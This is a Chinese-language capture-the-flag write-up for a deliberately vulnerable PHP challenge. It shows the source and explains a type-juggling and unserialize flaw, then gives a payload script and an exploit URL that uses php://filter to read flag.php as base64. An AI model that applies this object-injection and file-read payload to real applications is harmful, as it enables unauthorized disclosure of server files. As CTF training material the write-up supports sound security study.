<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
    
      

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
    
      
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
    
      
        if($this->op == "1") {
    
      
            $this->write();
        } else if($this->op == "2") {
    
      
            $res = $this->read();
            $this->output($res);
        } else {
    
      
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
    
      
        if(isset($this->filename) && isset($this->content)) {
    
      
            if(strlen((string)$this->content) > 100) {
    
      
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
    
      
            $this->output("Failed!");
        }
    }

    private function read() {
    
      
        $res = "";
        if(isset($this->filename)) {
    
      
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
    
      
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
    
      
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    
      
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{
    
      'str'})) {
    
      

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
    
      
        $obj = unserialize($str);
    }

}

get str参数传入is_valid函数进行判断ASCII是否在32和125中间之后进行反序列化
反序列化时调用destruct函数

function __destruct() {
    
      
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
}

op进行强类型比较===2，content为空进入process函数

public function process() {
    
      
        if($this->op == "1") {
    
      
            $this->write();
        } else if($this->op == "2") {
    
      
            $res = $this->read();
            $this->output($res);
        } else {
    
      
            $this->output("Bad Hacker!");
        }
    }

这里op进行的都是弱类型比较，如果op1传入write函数，op2传入read函数否则输出bad hacker

private function read() {
    
      
        $res = "";
        if(isset($this->filename)) {
    
      
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

read函数中file函数是可控的，file_get_contents读取文件使用伪协议，output函数输出

   private function output($s) {
    
      
        echo "[Result]: <br>";
        echo $s;
    }

注意的是$op,$filename,$content三个变量权限都是protected，而protected权限的变量在序列化的时会有%00*%00字符，%00字符的ASCII码为0无法过is_valid函数
payload

<?php
 
class FileHandler {
    
      
 
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
 
    function __construct() {
    
      
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
    }
 
    public function process() {
    
      
        if($this->op == "1") {
    
      
            $this->write();
        } else if($this->op == "2") {
    
      
            $res = $this->read();
            $this->output($res);
        } else {
    
      
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
    
      
        if(isset($this->filename) && isset($this->content)) {
    
      
            if(strlen((string)$this->content) > 100) {
    
      
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
    
      
            $this->output("Failed!");
        }
    }
 
    private function read() {
    
      
        $res = "";
        if(isset($this->filename)) {
    
      
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
    
      
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
    
      
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
    }
 
}
$a=new FileHandler();
$b=serialize($a);
echo $b;
?>

http://8615ecdf-4eb8-45e8-b929-0ee02ef211ae.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

base64解码得flag

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